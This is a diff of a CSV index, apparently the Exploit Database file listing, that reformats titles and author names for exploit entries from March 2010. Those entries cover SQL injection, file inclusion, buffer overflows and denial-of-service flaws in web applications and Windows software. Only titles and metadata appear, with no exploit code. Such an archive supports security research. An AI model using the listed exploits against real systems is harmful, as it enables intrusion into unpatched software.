+11734,platforms/windows/dos/11734.py,"httpdx 1.5.3b - Multiple Remote Pre-Authentication DoS (PoC)",2010-03-14,loneferret,windows,dos,0
 11735,platforms/php/webapps/11735.php,"deV!L`z Clanportal 1.5.2 Remote File Include Vulnerability",2010-03-14,cr4wl3r,php,webapps,0
 11736,platforms/linux/dos/11736.py,"Kerio MailServer 6.2.2 preauth Remote Denial of Service PoC",2006-12-14,"Evgeny Legerov",linux,dos,389
-11737,platforms/php/webapps/11737.txt,"PhpMyLogon v2 SQL Injection Vulnerability",2010-03-14,Blake,php,webapps,0
-11738,platforms/php/webapps/11738.txt,"Joomla component com_gcalendar Suite v2.1.5 Local File Include",2010-03-15,jdc,php,webapps,0
-11739,platforms/php/webapps/11739.txt,"PHP Classifieds v7.5 Blind SQL Injection Vulnerability",2010-03-15,ItSecTeam,php,webapps,0
-11740,platforms/php/webapps/11740.txt,"Ninja RSS Syndicator v1.0.8 Local File Include",2010-03-15,jdc,php,webapps,0
-11741,platforms/php/webapps/11741.txt,"Phenix v3.5b SQL Injection Vulnerability",2010-03-15,ItSecTeam,php,webapps,0
+11737,platforms/php/webapps/11737.txt,"PhpMyLogon 2.0 - SQL Injection Vulnerability",2010-03-14,Blake,php,webapps,0
+11738,platforms/php/webapps/11738.txt,"Joomla component com_gcalendar Suite 2.1.5 - Local File Include",2010-03-15,jdc,php,webapps,0
+11739,platforms/php/webapps/11739.txt,"PHP Classifieds 7.5 - Blind SQL Injection Vulnerability",2010-03-15,ItSecTeam,php,webapps,0
+11740,platforms/php/webapps/11740.txt,"Ninja RSS Syndicator 1.0.8 - Local File Include",2010-03-15,jdc,php,webapps,0
+11741,platforms/php/webapps/11741.txt,"Phenix 3.5b - SQL Injection Vulnerability",2010-03-15,ItSecTeam,php,webapps,0
 11742,platforms/windows/remote/11742.rb,"Open & Compact FTPd 1.2 Pre-Authentication Buffer Overflow (meta)",2010-03-15,Blake,windows,remote,0
-11743,platforms/php/webapps/11743.txt,"Joomla component com_rpx Ulti RPX v2.1.0 Local File Include",2010-03-15,jdc,php,webapps,0
-11744,platforms/php/webapps/11744.txt,"Duhok Forum 1.0 script Cross Site Scripting Vulnerability",2010-03-15,indoushka,php,webapps,0
-11745,platforms/php/webapps/11745.txt,"FreeHost Version 1.00 Upload Vulnerability",2010-03-15,indoushka,php,webapps,0
+11743,platforms/php/webapps/11743.txt,"Joomla component com_rpx Ulti RPX 2.1.0 - Local File Include",2010-03-15,jdc,php,webapps,0
+11744,platforms/php/webapps/11744.txt,"Duhok Forum 1.0 script Cross Site Scripting Vulnerability",2010-03-15,"indoushka salah el ddine",php,webapps,0
+11745,platforms/php/webapps/11745.txt,"FreeHost 1.00 - Upload Vulnerability",2010-03-15,"indoushka salah el ddine",php,webapps,0
 11746,platforms/php/webapps/11746.txt,"Torrent Hoster Remont Upload Exploit",2010-03-15,El-Kahina,php,webapps,0
 11747,platforms/php/webapps/11747.txt,"CH-CMS.ch-V2 Upload Vulnerability",2010-03-15,El-Kahina,php,webapps,0
-11748,platforms/php/webapps/11748.txt,"INTERSPIRE SHOPPING CART 5.5.4 - Ultimate Edition backup dump Vulnerability",2010-03-15,indoushka,php,webapps,0
-11749,platforms/php/webapps/11749.txt,"Subdreamer.v3.0.1 cms upload Vulnerability",2010-03-15,indoushka,php,webapps,0
-11750,platforms/windows/remote/11750.html,"Liquid XML Studio 2010 <= v8.061970 - (LtXmlComHelp8.dll) OpenFile() Remote 0day Overflow Exploit",2010-03-15,mr_me,windows,remote,0
+11748,platforms/php/webapps/11748.txt,"INTERSPIRE SHOPPING CART 5.5.4 - Ultimate Edition backup dump Vulnerability",2010-03-15,"indoushka salah el ddine",php,webapps,0
+11749,platforms/php/webapps/11749.txt,"Subdreamer 3.0.1 - CMS upload Vulnerability",2010-03-15,"indoushka salah el ddine",php,webapps,0
+11750,platforms/windows/remote/11750.html,"Liquid XML Studio 2010 <= 8.061970 - (LtXmlComHelp8.dll) OpenFile() Remote 0day Overflow Exploit",2010-03-15,mr_me,windows,remote,0
 11752,platforms/php/webapps/11752.txt,"Joomla com_org SQL Injection Vulnerability (letter parameter)",2010-03-15,kazuya,php,webapps,0
 11754,platforms/php/webapps/11754.txt,"Address Book Script v 1.09 - Local File Inclusion",2010-03-15,"Pouya Daneshmand",php,webapps,0
 11755,platforms/php/webapps/11755.txt,"osDate v 2.1.9 - Remote File Inclusion Vulnerabilities",2010-03-15,NoGe,php,webapps,0
@@ -10746,7 +10746,7 @@ id,file,description,date,author,platform,type,port
 11758,platforms/php/webapps/11758.txt,"Joomla Component com_ganalytics - Local File Inclusion",2010-03-15,AtT4CKxT3rR0r1ST,php,webapps,0
 11759,platforms/php/webapps/11759.txt,"Joomla Component com_sectionex - Local File Inclusion",2010-03-15,AtT4CKxT3rR0r1ST,php,webapps,0
 11760,platforms/php/webapps/11760.txt,"Joomla Component com_rokdownloads - Local File Inclusion",2010-03-15,AtT4CKxT3rR0r1ST,php,webapps,0
-11761,platforms/php/webapps/11761.txt,"Preisschlacht V4 Flash System SQL Injection (seite&aid) index.php",2010-03-15,"Easy Laster",php,webapps,0
+11761,platforms/php/webapps/11761.txt,"Preisschlacht 4.0 Flash System - SQL Injection (seite&aid) index.php",2010-03-15,"Easy Laster",php,webapps,0
 11763,platforms/multiple/dos/11763.pl,"Embedthis Appweb 3.1.2 Remote DoS",2010-03-15,chr1x,multiple,dos,0
 11764,platforms/windows/local/11764.pl,"QuickZip 4.60.019 Stack BOF - XP SP3",2010-03-15,corelanc0d3r,windows,local,0
 11765,platforms/windows/remote/11765.txt,"ArGoSoft FTP Server .NET 1.0.2.1 - Directory Traversal Vulnerability",2010-03-15,dmnt,windows,remote,21
@@ -10757,12 +10757,12 @@ id,file,description,date,author,platform,type,port
 11770,platforms/linux/dos/11770.txt,"WFTPD 3.3 Remote REST DoS",2010-03-16,dmnt,linux,dos,21
 11771,platforms/php/webapps/11771.txt,"osCMax 2.0 (fckeditor) Remote File Upload",2010-03-16,ITSecTeam,php,webapps,0
 11772,platforms/php/webapps/11772.txt,"Joomla Component com_rwcards - Local File Inclusion",2010-03-16,altbta,php,webapps,0
-11773,platforms/php/webapps/11773.txt,"Free Real Estate Contact Form v1.09 - Local File Inclusion",2010-03-16,"Pouya Daneshmand",php,webapps,0
+11773,platforms/php/webapps/11773.txt,"Free Real Estate Contact Form 1.09 - Local File Inclusion",2010-03-16,"Pouya Daneshmand",php,webapps,0
 11774,platforms/php/webapps/11774.txt,"Online Community CMS by I-net SQL Injection Vulnerability",2010-03-16,"Th3 RDX",php,webapps,0
-11775,platforms/php/webapps/11775.txt,"Short URL v1.01 - Local File Inclusion",2010-03-16,"Pouya Daneshmand",php,webapps,0
+11775,platforms/php/webapps/11775.txt,"Short URL 1.01 - Local File Inclusion",2010-03-16,"Pouya Daneshmand",php,webapps,0
 11776,platforms/php/webapps/11776.txt,"phpscripte24 Auktionshaus Community Standart System Blind SQL Injection",2010-03-16,"Easy Laster",php,webapps,0
 11777,platforms/php/webapps/11777.txt,"EGroupware 1.6.002 and EGroupware Premium Line 9.1 Multiple Vulnerabilities",2010-03-16,"Nahuel Grisolia",php,webapps,0
-11778,platforms/php/webapps/11778.txt,"OSSIM v2.2 Multiple Vulnerabilities",2010-03-16,"Nahuel Grisolia",php,webapps,0
+11778,platforms/php/webapps/11778.txt,"OSSIM 2.2 - Multiple Vulnerabilities",2010-03-16,"Nahuel Grisolia",php,webapps,0
 11779,platforms/windows/local/11779.pl,"Windisc Stack BOF exploit",2010-03-16,Rick2600,windows,local,0
 11780,platforms/php/webapps/11780.html,"Clain_TIger_CMS CSRF Vulnerability",2010-03-17,"Pratul Agrawal",php,webapps,0
 11781,platforms/php/webapps/11781.html,"chilly_CMS CSRF Vulnerability",2010-03-17,"Pratul Agrawal",php,webapps,0
@@ -10775,15 +10775,15 @@ id,file,description,date,author,platform,type,port
 11788,platforms/php/webapps/11788.txt,"PHP-Nuke ratedownload SQL Injection",2010-03-17,ItSecTeam,php,webapps,0
 11789,platforms/multiple/local/11789.c,"VariCAD 2010-2.05 EN Local buffer overflow",2010-03-17,n00b,multiple,local,0
 11790,platforms/php/webapps/11790.txt,"Joomla Component com_vxdate Multiple Vulnerabilities",2010-03-17,MustLive,php,webapps,0
-11791,platforms/windows/local/11791.pl,"myMP3-Player v3.0 (.m3u) Local Buffer Overflow Exploit (SEH)",2010-03-18,n3w7u,windows,local,0
+11791,platforms/windows/local/11791.pl,"myMP3-Player 3.0 - (.m3u) Local Buffer Overflow Exploit (SEH)",2010-03-18,n3w7u,windows,local,0
 11792,platforms/multiple/dos/11792.pl,"mplayer <= 4.4.1 NULL pointer dereference exploit poc",2010-03-18,"Pietro Oliva",multiple,dos,0
 11793,platforms/jsp/webapps/11793.txt,"Manage Engine Service Desk Plus 7.6 woID SQL Injection",2010-03-18,"Nahuel Grisolia",jsp,webapps,0
 11794,platforms/windows/local/11794.c,"MediaCoder (.lst) file local Buffer Overflow Exploit",2010-03-18,"fl0 fl0w",windows,local,0
 11795,platforms/php/webapps/11795.txt,"DewNewPHPLinks 2.1.0.1 LFI",2010-03-18,ItSecTeam,php,webapps,0
 11797,platforms/windows/local/11797.py,"ZippHo 3.0.6 (.zip) 0day stack buffer overflow PoC exploit",2010-03-18,mr_me,windows,local,0
 11799,platforms/php/webapps/11799.txt,"SiteDone Custom Edition 2.0 SQL Injection & XSS Vulnerability",2010-03-18,d3v1l,php,webapps,0
-11801,platforms/php/webapps/11801.txt,"phpAuthent 0.2.1 SQL Injection  Vulnerability",2010-03-18,Gamoscu,php,webapps,0
-11802,platforms/php/webapps/11802.txt,"philboard v1.02 sql injection Vulnerability",2010-03-18,ViRuS_HiMa,php,webapps,0
+11801,platforms/php/webapps/11801.txt,"phpAuthent 0.2.1 SQL Injection Vulnerability",2010-03-18,Gamoscu,php,webapps,0
+11802,platforms/php/webapps/11802.txt,"philboard 1.02 - SQL Injection Vulnerability",2010-03-18,ViRuS_HiMa,php,webapps,0
 11803,platforms/windows/dos/11803.txt,"Crimson Editor SEH Overwrite Vulnerability",2010-03-18,sharpe,windows,dos,0
 11805,platforms/php/webapps/11805.txt,"phpscripte24 Niedrig Gebote Pro Auktions System II Blind SQL Injection",2010-03-18,"Easy Laster",php,webapps,0
 11806,platforms/php/webapps/11806.txt,"Nensor CMS 2.01 Multiple Remote Vulnerabilities",2010-03-18,cr4wl3r,php,webapps,0
@@ -10792,7 +10792,7 @@ id,file,description,date,author,platform,type,port
 11809,platforms/windows/dos/11809.py,"eDisplay Personal FTP server 1.0.0 Pre-Authentication DoS (PoC)",2010-03-19,loneferret,windows,dos,21
 11810,platforms/windows/dos/11810.py,"eDisplay Personal FTP server 1.0.0 Multiple Post-Authentication Crash SEH (PoC)",2010-03-19,loneferret,windows,dos,21
 11811,platforms/php/webapps/11811.txt,"phpscripte24 Preisschlacht Liveshop System SQL Injection (seite&aid) index.php",2010-03-19,"Easy Laster",php,webapps,0
-11813,platforms/php/webapps/11813.txt,"Multi CSRF vulnerability in DirectAdmin (1.34.4)",2010-03-19,K053,php,webapps,0
+11813,platforms/php/webapps/11813.txt,"DirectAdmin 1.34.4 - Multi CSRF vulnerability",2010-03-19,K053,php,webapps,0
 11814,platforms/php/webapps/11814.txt,"joomla component & plugin JE Tooltip Local File Inclusion",2010-03-19,"Chip D3 Bi0s",php,webapps,0
 11815,platforms/php/webapps/11815.txt,"joomla component Gift Exchange com_giftexchange (pkg) Remote Sql Injection",2010-03-20,"Chip D3 Bi0s",php,webapps,0
 11816,platforms/php/webapps/11816.txt,"Pay Per Watch & Bid Auktions System BLIND SQL Injection auktion.php (id_auk)",2010-03-20,"Easy Laster",php,webapps,0
@@ -10800,8 +10800,8 @@ id,file,description,date,author,platform,type,port
 11820,platforms/windows/remote/11820.pl,"eDisplay Personal FTP server 1.0.0 Multiple Post-Authentication Stack BOF",2010-03-20,corelanc0d3r,windows,remote,0
 11822,platforms/hardware/remote/11822.txt,"ZKSoftware Biometric Attendence managnmnet Hardware[MIPS] Improper Authentication",2010-03-20,FB1H2S,hardware,remote,0
 11823,platforms/cgi/webapps/11823.txt,"Trouble Ticket Software ttx.cgi Remote File Download",2010-03-20,n01d,cgi,webapps,0
-11824,platforms/php/webapps/11824.py,"Woltlab Burning Board Teamsite Hack <= v3.0 ts_other.php SQL Injection Exploit",2010-03-21,"Easy Laster",php,webapps,0
-11825,platforms/php/webapps/11825.html,"Adult Video Site Script Multiple Vulnerabilities",2010-03-21,indoushka,php,webapps,0
+11824,platforms/php/webapps/11824.py,"Woltlab Burning Board Teamsite Hack <= 3.0 - ts_other.php SQL Injection Exploit",2010-03-21,"Easy Laster",php,webapps,0
+11825,platforms/php/webapps/11825.html,"Adult Video Site Script Multiple Vulnerabilities",2010-03-21,"indoushka salah el ddine",php,webapps,0
 11826,platforms/php/webapps/11826.txt,"Jewelry Cart Software (product.php) SQL Injection Vulnerability",2010-03-21,Asyraf,php,webapps,0
 11827,platforms/windows/dos/11827.py,"no$gba 2.5c (.nds) local crash",2010-03-21,l3D,windows,dos,0
 11828,platforms/windows/local/11828.py,"Crimson Editor r3.70 SEH Overwrite Vulnerability PoC exploit",2010-03-21,mr_me,windows,local,0
@@ -10810,13 +10810,13 @@ id,file,description,date,author,platform,type,port
 11831,platforms/php/webapps/11831.txt,"WebMaid CMS <= 0.2-6 Beta Multiple Remote File Include Vulnerability",2010-03-21,cr4wl3r,php,webapps,0
 11832,platforms/php/webapps/11832.txt,"NotSopureEdit <= 1.4.1 Remote File Include Vulnerability",2010-03-21,cr4wl3r,php,webapps,0
 11833,platforms/php/webapps/11833.txt,"4x cms <= r26 (Auth Bypass) SQL Injection Vulnerability",2010-03-21,cr4wl3r,php,webapps,0
-11834,platforms/windows/local/11834.py,"Kenward zipper v1.4 0day Stack Buffer Overflow PoC exploit",2010-03-22,mr_me,windows,local,0
+11834,platforms/windows/local/11834.py,"Kenward Zipper 1.4 - Stack Buffer Overflow PoC Exploit (0day)",2010-03-22,mr_me,windows,local,0
 11835,platforms/php/webapps/11835.txt,"Mini CMS RibaFS 1.0 (Auth Bypass) SQL Injection Vulnerability",2010-03-22,cr4wl3r,php,webapps,0
 11836,platforms/php/webapps/11836.txt,"CMS Openpage (index.php) SQL Injection Vulnerability",2010-03-22,Phenom,php,webapps,0
 11837,platforms/php/webapps/11837.txt,"Uiga Fan Club SQL Injection Vulnerability",2010-03-22,"Sioma Labs",php,webapps,0
 11838,platforms/windows/dos/11838.php,"SAFARI APPLE 4.0.5 (object tag) (JavaScriptCore.dll) DoS (Crash)",2010-03-22,3lkt3F0k4,windows,dos,0
 11839,platforms/windows/dos/11839.py,"Donar Player 2.2.0 Local Crash PoC",2010-03-22,b0telh0,windows,dos,0
-11840,platforms/php/webapps/11840.txt,"PowieSys <=  0.7.7 alpha index.php (shownews) SQL Injection Vulnerability",2010-03-22,"Easy Laster",php,webapps,0
+11840,platforms/php/webapps/11840.txt,"PowieSys <= 0.7.7 alpha index.php (shownews) SQL Injection Vulnerability",2010-03-22,"Easy Laster",php,webapps,0
 11841,platforms/php/webapps/11841.txt,"New Advisore Stack Ver 1.1 Directory Traversal",2010-03-22,R3VAN_BASTARD,php,webapps,0
 11842,platforms/windows/dos/11842.py,"FreeSSHD 1.2.4 Remote Buffer Overflow DoS",2010-03-22,Pi3rrot,windows,dos,0
 11844,platforms/php/webapps/11844.txt,"Joomla Component com_flash SQL Injection Vulnerability",2010-03-22,"DevilZ TM",php,webapps,0
@@ -10832,7 +10832,7 @@ id,file,description,date,author,platform,type,port
 11856,platforms/multiple/remote/11856.txt,"uhttp Server Path Traversal Vulnerability",2010-03-23,"Salvatore Fresta",multiple,remote,0
 11857,platforms/windows/remote/11857.c,"MX Simulator Server Remote Buffer Overflow PoC",2010-03-23,"Salvatore Fresta",windows,remote,0
 11861,platforms/windows/dos/11861.pl,"Smart PC Recorder 4.8 .MP3 Local Crash POC",2010-03-24,chap0,windows,dos,0
-11862,platforms/php/webapps/11862.txt,"Easy-Clanpage <= v2.0 Blind SQL Injection Exploit",2010-03-24,"Easy Laster",php,webapps,0
+11862,platforms/php/webapps/11862.txt,"Easy-Clanpage <= 2.0 - Blind SQL Injection Exploit",2010-03-24,"Easy Laster",php,webapps,0
 11863,platforms/php/webapps/11863.txt,"CMS By SoftnSolv (index.php) SQL Injection Vulnerable",2010-03-24,"Th3 RDX",php,webapps,0
 11864,platforms/php/webapps/11864.txt,"E-php CMS SQL Injection Vulnerability",2010-03-24,"Th3 RDX",php,webapps,0
 11865,platforms/php/webapps/11865.txt,"Joomla component com_universal Remote File Inclusion Vulnerability exploit",2010-03-24,eidelweiss,php,webapps,0
@@ -10840,14 +10840,14 @@ id,file,description,date,author,platform,type,port
 11867,platforms/php/webapps/11867.txt,"Joomla Component com_wallpapers SQL Injection Vulnerability",2010-03-24,"DevilZ TM",php,webapps,0
 11868,platforms/php/webapps/11868.txt,"Joomla Component com_software SQL Injection Vulnerability",2010-03-24,"DevilZ TM",php,webapps,0
 11871,platforms/php/webapps/11871.txt,"Vbulletin Blog 4.0.2 Title XSS Vulnerability",2010-03-24,FormatXformat,php,webapps,0
-11872,platforms/windows/local/11872.py,"KenWard's Zipper v1.400 Buffer Overflow - Method 2",2010-03-25,sinn3r,windows,local,0
+11872,platforms/windows/local/11872.py,"KenWard's Zipper 1.400 - Buffer Overflow - Method 2",2010-03-25,sinn3r,windows,local,0
 11873,platforms/php/webapps/11873.txt,"Interactivefx.ie CMS SQL Injection Vulnerability",2010-03-25,Inj3ct0r,php,webapps,0
 11874,platforms/php/webapps/11874.txt,"INVOhost SQL Injection",2010-03-25,"Andrés Gómez",php,webapps,0
-11875,platforms/php/webapps/11875.py,"Easy-Clanpage <= v2.01 SQL Injection Exploit",2010-03-25,"Easy Laster",php,webapps,0
+11875,platforms/php/webapps/11875.py,"Easy-Clanpage <= 2.01 - SQL Injection Exploit",2010-03-25,"Easy Laster",php,webapps,0
 11876,platforms/php/webapps/11876.txt,"justVisual 2.0 (index.php) <= LFI Vulnerability",2010-03-25,eidelweiss,php,webapps,0
 11877,platforms/windows/remote/11877.py,"eDisplay Personal FTP server 1.0.0 Multiple Post-Authentication Stack BOF",2010-03-25,Sud0,windows,remote,21
 11878,platforms/windows/dos/11878.py,"Cisco TFTP Server 1.1 DoS",2010-03-25,_SuBz3r0_,windows,dos,69
-11879,platforms/windows/remote/11879.txt,"SAP GUI version 7.00 BExGlobal Active-X unsecure method",2010-03-25,"Alexey Sintsov",windows,remote,0
+11879,platforms/windows/remote/11879.txt,"SAP GUI 7.00 - BExGlobal Active-X unsecure method",2010-03-25,"Alexey Sintsov",windows,remote,0
 11880,platforms/hardware/dos/11880.txt,"Lexmark Multiple Laser printer Remote Stack Overflow",2010-03-25,"Francis Provencher",hardware,dos,0
 11881,platforms/php/webapps/11881.php,"SiteX CMS 0.7.4 beta (/photo.php) SQL-Injection exploit",2010-03-25,Sc0rpi0n,php,webapps,0
 11882,platforms/php/webapps/11882.txt,"Direct News 4.10.2 Multiple Remote File Include Vulnerability",2010-03-25,mat,php,webapps,0
@@ -10857,26 +10857,26 @@ id,file,description,date,author,platform,type,port
 11886,platforms/windows/remote/11886.py,"SAP MaxDB Malformed Handshake Request Remote Code Execution",2010-03-26,"S2 Crew",windows,remote,0
 11888,platforms/php/webapps/11888.txt,"DaFun Spirit 2.2.5 Multiple Remote File Include Vulnerability",2010-03-26,2010-03-26,php,webapps,0
 11889,platforms/php/webapps/11889.txt,"leaftec cms multiple vulnerabilities",2010-03-26,Valentin,php,webapps,0
-11890,platforms/hardware/dos/11890.txt,"Bad ""VML"" Remote DoS on Safari for iPhone & iPod Touch",2010-03-26,"Nishant Das Patnaik",hardware,dos,0
-11891,platforms/hardware/dos/11891.txt,"Remote DoS on Safari for iPhone & iPod Touch",2010-03-26,"Nishant Das Patnaik",hardware,dos,0
+11890,platforms/hardware/dos/11890.txt,"iOS Safari - Bad ""VML"" Remote DoS",2010-03-26,"Nishant Das Patnaik",hardware,dos,0
+11891,platforms/hardware/dos/11891.txt,"iOS Safari - Remote DoS",2010-03-26,"Nishant Das Patnaik",hardware,dos,0
 11892,platforms/php/webapps/11892.txt,"post Card (catid) Remote SQL Injection Vulnerability",2010-03-26,"Hussin X",php,webapps,0
 11893,platforms/linux/dos/11893.pl,"tPop3d 1.5.3 DoS",2010-03-26,OrderZero,linux,dos,0
 11894,platforms/php/webapps/11894.txt,"cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability",2010-03-26,eidelweiss,php,webapps,0
 11895,platforms/php/webapps/11895.txt,"CyberCMS Remote SQL Injection Vuln.",2010-03-26,hc0de,php,webapps,0
 11896,platforms/php/webapps/11896.txt,"BPTutors Tutoring site script - [ CSRF ] Create Administrator Account",2010-03-26,bi0,php,webapps,0
 11897,platforms/php/webapps/11897.php,"Kasseler CMS 1.4.x lite (Module Jokes) SQL-Injection Exploit",2010-03-26,Sc0rpi0n,php,webapps,0
-11898,platforms/php/webapps/11898.py,"Date & Sex Vor und Rückwärts Auktions System <= v2 Blind SQL Injection Exploit",2010-03-27,"Easy Laster",php,webapps,0
+11898,platforms/php/webapps/11898.py,"Date & Sex Vor und Rückwärts Auktions System <= 2 - Blind SQL Injection Exploit",2010-03-27,"Easy Laster",php,webapps,0
 11899,platforms/php/webapps/11899.html,"AdaptCMS_Lite_1.5 2009-07-07",2010-03-27,ItSecTeam,php,webapps,0
-11900,platforms/windows/local/11900.pl,"Mini-stream RM-MP3 Converter Version 3.0.0.7 (.pls) Universal Stack BoF",2010-03-27,mat,windows,local,0
-11902,platforms/php/webapps/11902.txt,"MyOWNspace_v8.2 multi local file include",2010-03-27,ItSecTeam,php,webapps,0
+11900,platforms/windows/local/11900.pl,"Mini-stream RM-MP3 Converter 3.0.0.7 - (.pls) Universal Stack BoF",2010-03-27,Mat,windows,local,0
+11902,platforms/php/webapps/11902.txt,"MyOWNspace 8.2 - Multi Local File Include",2010-03-27,ItSecTeam,php,webapps,0
 11903,platforms/php/webapps/11903.txt,"Open Web Analytics 1.2.3 multi file include",2010-03-27,ItSecTeam,php,webapps,0
 11904,platforms/php/webapps/11904.txt,"68kb multi remote file include",2010-03-27,ItSecTeam,php,webapps,0
 11905,platforms/php/webapps/11905.txt,"Simple Machines Forum <= 1.1.8 (avatar) Remote PHP File Execute PoC",2010-03-27,JosS,php,webapps,0
 11906,platforms/php/webapps/11906.txt,"Uebimiau Webmail <= 2.7.2 Multiple Vulnerabilities.",2010-03-27,cp77fk4r,php,webapps,0
 11908,platforms/php/webapps/11908.txt,"Joomla Component com_solution SQL Injection Vulnerability",2010-03-27,"DevilZ TM",php,webapps,0
 11909,platforms/windows/local/11909.txt,"Mini-stream Ripper 3.1.0.8 => Local stack overflow exploit",2010-03-28,"Hazem Mofeed",windows,local,0
-11911,platforms/windows/local/11911.py,"Stud_PE <= v2.6.05 Stack Overflow PoC exploit",2010-03-28,zha0,windows,local,0
-11912,platforms/php/webapps/11912.txt,"Multi Auktions Komplett System V2 <= Blind SQL Injection Exploit",2010-03-28,"Easy Laster",php,webapps,0
+11911,platforms/windows/local/11911.py,"Stud_PE <= 2.6.05 - Stack Overflow PoC exploit",2010-03-28,zha0,windows,local,0
+11912,platforms/php/webapps/11912.txt,"Multi Auktions Komplett System 2 - Blind SQL Injection Exploit",2010-03-28,"Easy Laster",php,webapps,0
 11914,platforms/php/webapps/11914.txt,"Joomla Component com_adds Blind SQL Injection Vulnerability",2010-03-28,"DevilZ TM",php,webapps,0
 11915,platforms/php/webapps/11915.txt,"Joomla Component com_tariff SQL Injection Vulnerability",2010-03-28,"DevilZ TM",php,webapps,0
 11916,platforms/php/webapps/11916.txt,"Joomla Component com_agency SQL Injection Vulnerability",2010-03-28,"DevilZ TM",php,webapps,0
@@ -10885,15 +10885,15 @@ id,file,description,date,author,platform,type,port
 11919,platforms/php/webapps/11919.txt,"Joomla Component com_topmenu SQL Injection Vulnerability",2010-03-28,"DevilZ TM",php,webapps,0
 11920,platforms/php/webapps/11920.txt,"Joomla Component com_personal SQL Injection Vulnerability",2010-03-28,"DevilZ TM",php,webapps,0
 11922,platforms/php/webapps/11922.txt,"Devana SQL Injection vulnerability",2010-03-28,Valentin,php,webapps,0
-11923,platforms/php/webapps/11923.txt,"TSOKA:CMS v1.1 , v1.9 AND v2.0 SQL Injection & XSS Vulnerability",2010-03-28,d3v1l,php,webapps,0
+11923,platforms/php/webapps/11923.txt,"TSOKA:CMS 1.1 & 1.9 & 2.0 - SQL Injection & XSS Vulnerability",2010-03-28,d3v1l,php,webapps,0
 11924,platforms/php/webapps/11924.txt,"Joomla Component com_units SQL Injection Vulnerabilit",2010-03-28,"DevilZ TM",php,webapps,0
-11925,platforms/php/webapps/11925.txt,"68kb Knowledge Base Script v1.0.0rc2 Search SQL Injection",2010-03-28,"Jelmer de Hen",php,webapps,0
+11925,platforms/php/webapps/11925.txt,"68kb Knowledge Base Script 1.0.0rc2 Search - SQL Injection",2010-03-28,"Jelmer de Hen",php,webapps,0
 11927,platforms/php/webapps/11927.txt,"Joomla Component com_departments SQL Injection Vulnerability",2010-03-29,"DevilZ TM",php,webapps,0
 11928,platforms/php/webapps/11928.txt,"Joomla Component com_business SQL Injection Vulnerability",2010-03-29,"DevilZ TM",php,webapps,0
 11929,platforms/php/webapps/11929.txt,"Joomla Component com_radio SQL Injection Vulnerability",2010-03-29,"DevilZ TM",php,webapps,0
-11930,platforms/windows/dos/11930.pl,"ASX to MP3 Converter Version 3.0.0.100 Local Stack Overflow POC",2010-03-29,mat,windows,dos,0
-11931,platforms/asp/webapps/11931.txt,"Asp - comersus7F Shopping Cart Software Backup Dump Vulnerability",2010-03-29,"indoushka ",asp,webapps,0
-11932,platforms/linux/dos/11932.txt,"xwine v1.0.1 (.exe file) Local Crash PoC Exploit",2010-03-29,JosS,linux,dos,0
+11930,platforms/windows/dos/11930.pl,"ASX to MP3 Converter 3.0.0.100 - Local Stack Overflow POC",2010-03-29,Mat,windows,dos,0
+11931,platforms/asp/webapps/11931.txt,"Asp - comersus7F Shopping Cart Software Backup Dump Vulnerability",2010-03-29,"indoushka salah el ddine",asp,webapps,0
+11932,platforms/linux/dos/11932.txt,"xwine 1.0.1 (.exe file) - Local Crash PoC Exploit",2010-03-29,JosS,linux,dos,0
 11934,platforms/php/webapps/11934.txt,"Powie's PSCRIPT Gästebuch <= 2.09 SQL Injection Vulnerability",2010-03-29,"Easy Laster",php,webapps,0
 11935,platforms/php/webapps/11935.txt,"Joomla Component com_guide SQL Injection Vulnerability",2010-03-30,"DevilZ TM",php,webapps,0
 11938,platforms/php/webapps/11938.txt,"Pepsi CMS (Irmin cms) pepsi-0.6-BETA2 Multiple Local File Vulnerability",2010-03-30,eidelweiss,php,webapps,0
@@ -10902,59 +10902,59 @@ id,file,description,date,author,platform,type,port
 11941,platforms/php/webapps/11941.txt,"Joomla Component com_items SQL Injection Vulnerability",2010-03-29,"DevilZ TM",php,webapps,0
 11942,platforms/php/webapps/11942.txt,"Joomla Component com_actions SQL Injection Vulnerability",2010-03-29,"DevilZ TM",php,webapps,0
 11943,platforms/php/webapps/11943.txt,"React software [local file inclusion]",2010-03-29,SNK,php,webapps,0
-11944,platforms/windows/local/11944.pl,"ASX to MP3 Converter Version 3.0.0.100 (.pls) Universal Stack Overflow Exploit",2010-03-28,mat,windows,local,0
-11946,platforms/php/webapps/11946.txt,"FaMarket.V2 (Auth Bypass) Vulnerability",2010-03-30,indoushka,php,webapps,0
-11947,platforms/php/webapps/11947.txt,"Yamamah Version 1.00 Mullti Vulnerability",2010-03-30,indoushka,php,webapps,0
-11948,platforms/php/webapps/11948.txt,"Denapars Shop Script Mullti Vulnerability",2010-03-30,indoushka,php,webapps,0
-11949,platforms/php/webapps/11949.txt,"Fa-Ads (Auth Bypass) Vulnerability",2010-03-30,"indoushka ",php,webapps,0
-11950,platforms/php/webapps/11950.txt,"Fa Home (Auth Bypass) Vulnerability",2010-03-30,indoushka,php,webapps,0
-11951,platforms/php/webapps/11951.txt,"E-book Store Mullti Vulnerability",2010-03-30,indoushka,php,webapps,0
+11944,platforms/windows/local/11944.pl,"ASX to MP3 Converter 3.0.0.100 - (.pls) Universal Stack Overflow Exploit",2010-03-28,Mat,windows,local,0
+11946,platforms/php/webapps/11946.txt,"FaMarket 2 - (Auth Bypass) Vulnerability",2010-03-30,"indoushka salah el ddine",php,webapps,0
+11947,platforms/php/webapps/11947.txt,"Yamamah 1.00 - Mullti Vulnerability",2010-03-30,"indoushka salah el ddine",php,webapps,0
+11948,platforms/php/webapps/11948.txt,"Denapars Shop Script Mullti Vulnerability",2010-03-30,"indoushka salah el ddine",php,webapps,0
+11949,platforms/php/webapps/11949.txt,"Fa-Ads (Auth Bypass) Vulnerability",2010-03-30,"indoushka salah el ddine",php,webapps,0
+11950,platforms/php/webapps/11950.txt,"Fa Home (Auth Bypass) Vulnerability",2010-03-30,"indoushka salah el ddine",php,webapps,0
+11951,platforms/php/webapps/11951.txt,"E-book Store Mullti Vulnerability",2010-03-30,"indoushka salah el ddine",php,webapps,0
 11953,platforms/windows/local/11953.py,"RM Downloader 3.0.2.1 (.asx) Local Buffer Overflow (SEH)",2010-03-30,b0telh0,windows,local,0
 11954,platforms/php/webapps/11954.txt,"Wazzum Dating Software Mullti Vulnerability",2010-03-30,"El-Kahina ",php,webapps,0
-11955,platforms/windows/dos/11955.py,"All to All Audio Convertor v2.0 Files Stack Overflow PoC",2010-03-30,ItSecTeam,windows,dos,0
+11955,platforms/windows/dos/11955.py,"All to All Audio Convertor 2.0 - Files Stack Overflow PoC",2010-03-30,ItSecTeam,windows,dos,0
